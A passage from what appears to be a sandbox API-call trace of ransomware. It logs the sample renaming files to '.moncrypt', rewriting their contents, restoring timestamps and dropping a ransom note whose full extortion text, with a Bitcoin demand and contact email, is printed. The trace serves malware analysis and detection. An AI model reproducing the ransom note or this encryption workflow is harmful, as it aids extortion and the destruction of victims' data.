ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0054.616] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0054.617] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.617] GlobalLock (hMem=0x440004) returned 0x550170 [0054.617] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.617] GlobalUnlock (hMem=0x440004) returned 0 [0054.617] GlobalLock (hMem=0x440004) returned 0x550170 [0054.617] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.617] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.617] GlobalUnlock (hMem=0x440004) returned 0 [0054.617] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.617] GlobalUnlock (hMem=0x44000c) returned 0 [0054.617] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.617] CharLowerBuffW (in: lpsz="MSB1AR.LEX", cchLength=0xa | out: lpsz="msb1ar.lex") returned 0xa [0054.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.617] CharLowerBuffW (in: lpsz=".LEX", cchLength=0x4 | out: lpsz=".lex") returned 0x4 [0054.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".lex", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".lexShared\\TRANSLAT\\MSB1AR.LEXe", lpUsedDefaultChar=0x0) returned 4 [0054.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0054.620] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0054.621] CloseHandle (hObject=0x188) returned 1 [0054.621] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\я")) returned 1 [0054.622] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 0x54e200 [0054.622] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0054.622] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0054.622] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", dwFileAttributes=0x20) returned 1 [0054.624] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.moncrypt")) returned 1 [0054.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0054.625] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0054.625] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x205b0b [0054.625] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0054.625] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0054.627] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.627] GlobalLock (hMem=0x440004) returned 0x550170 [0054.627] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.627] GlobalUnlock (hMem=0x440004) returned 0 [0054.627] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.627] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.631] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.631] GlobalUnlock (hMem=0x440004) returned 0 [0054.631] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.631] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.631] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.631] GlobalUnlock (hMem=0x44000c) returned 0 [0054.631] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.631] GlobalUnlock (hMem=0x440004) returned 0 [0054.631] GlobalLock (hMem=0x440004) returned 0x550170 [0054.631] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.631] GlobalUnlock (hMem=0x440004) returned 0 [0054.631] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.631] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.631] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.631] GlobalUnlock (hMem=0x440004) returned 0 [0054.631] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0054.632] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0054.632] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0054.632] SetFilePointer (in: hFile=0x188, lDistanceToMove=2120459, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x205b0b [0054.632] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0054.636] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0054.636] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d28*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d28*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.647] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0054.647] CloseHandle (hObject=0x188) returned 1 [0054.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0054.696] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0054.701] CloseHandle (hObject=0x188) returned 1 [0054.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.moncrypt", dwFileAttributes=0x20) returned 1 [0054.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.701] GlobalLock (hMem=0x440004) returned 0x550170 [0054.701] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.701] GlobalUnlock (hMem=0x440004) returned 0 [0054.701] GlobalLock (hMem=0x440004) returned 0x550170 [0054.701] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.701] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.701] GlobalUnlock (hMem=0x440004) returned 0 [0054.701] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.701] GlobalUnlock (hMem=0x44000c) returned 0 [0054.701] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.702] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x555b78, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a6a8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x557b88, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0054.702] GetLastError () returned 0x2 [0054.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0054.702] WriteFile (in: hFile=0x188, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18ed24*=0x649, lpOverlapped=0x0) returned 1 [0054.703] CloseHandle (hObject=0x188) returned 1 [0054.704] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0054.704] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.704] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.704] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.704] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.704] GlobalUnlock (hMem=0x44000c) returned 0 [0054.704] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.704] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.704] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.704] GlobalUnlock (hMem=0x44000c) returned 0 [0054.704] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.704] GlobalUnlock (hMem=0x440004) returned 0 [0054.704] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.704] CharLowerBuffW (in: lpsz="MSB1CACH.LEX", cchLength=0xc | out: lpsz="msb1cach.lex") returned 0xc [0054.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0054.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0054.705] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEXn", lpUsedDefaultChar=0x0) returned 68 [0054.705] CharLowerBuffW (in: lpsz=".LEX", cchLength=0x4 | out: lpsz=".lex") returned 0x4 [0054.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".lex", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".lexShared\\TRANSLAT\\MSB1CACH.LEXn", lpUsedDefaultChar=0x0) returned 4 [0054.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 0x54e200 [0054.705] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0054.705] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0054.705] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", dwFileAttributes=0x20) returned 1 [0054.706] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.moncrypt")) returned 1 [0054.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0054.707] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0054.707] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x600 [0054.707] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0054.707] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ea34*=0x600, lpOverlapped=0x0) returned 1 [0054.709] GlobalLock (hMem=0x440004) returned 0x550170 [0054.709] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.709] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.709] GlobalUnlock (hMem=0x440004) returned 0 [0054.709] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.709] GlobalUnlock (hMem=0x44000c) returned 0 [0054.710] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.710] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.710] GlobalUnlock (hMem=0x44000c) returned 0 [0054.710] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0054.710] WriteFile (in: hFile=0x188, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18ea30*=0x620, lpOverlapped=0x0) returned 1 [0054.710] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0054.710] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.721] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0054.721] CloseHandle (hObject=0x188) returned 1 [0054.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 